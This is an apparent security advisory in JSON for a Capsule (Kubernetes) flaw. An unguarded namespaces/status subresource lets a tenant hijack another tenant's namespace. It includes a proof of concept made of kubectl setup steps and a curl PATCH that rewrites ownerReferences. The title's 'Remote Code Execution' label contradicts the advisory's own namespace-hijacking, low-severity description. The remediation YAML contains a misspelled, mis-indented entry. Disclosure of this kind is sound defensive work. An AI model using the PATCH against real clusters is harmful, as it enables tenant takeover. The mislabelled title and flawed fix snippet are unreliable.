CVE-2026-30963: Github.com/projectcapsule/capsule Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2ww6-hf35-mfjm",
  "modified" : "2026-06-09T10:50:49Z",
  "published" : "2026-05-28T17:01:41Z",
  "aliases" : [ "CVE-2026-30963" ],
  "summary" : "Capsule Namespace Hijacking via subresource",
  "details" : "### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \\\n--header 'Content-Type: application/json-patch+json' \\\n--data '[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]'\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/projectcapsule/capsule"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30963"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/projectcapsule/capsule"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-28T17:01:41Z",
    "nvd_published_at" : "2026-06-01T19:16:22Z"
  }
}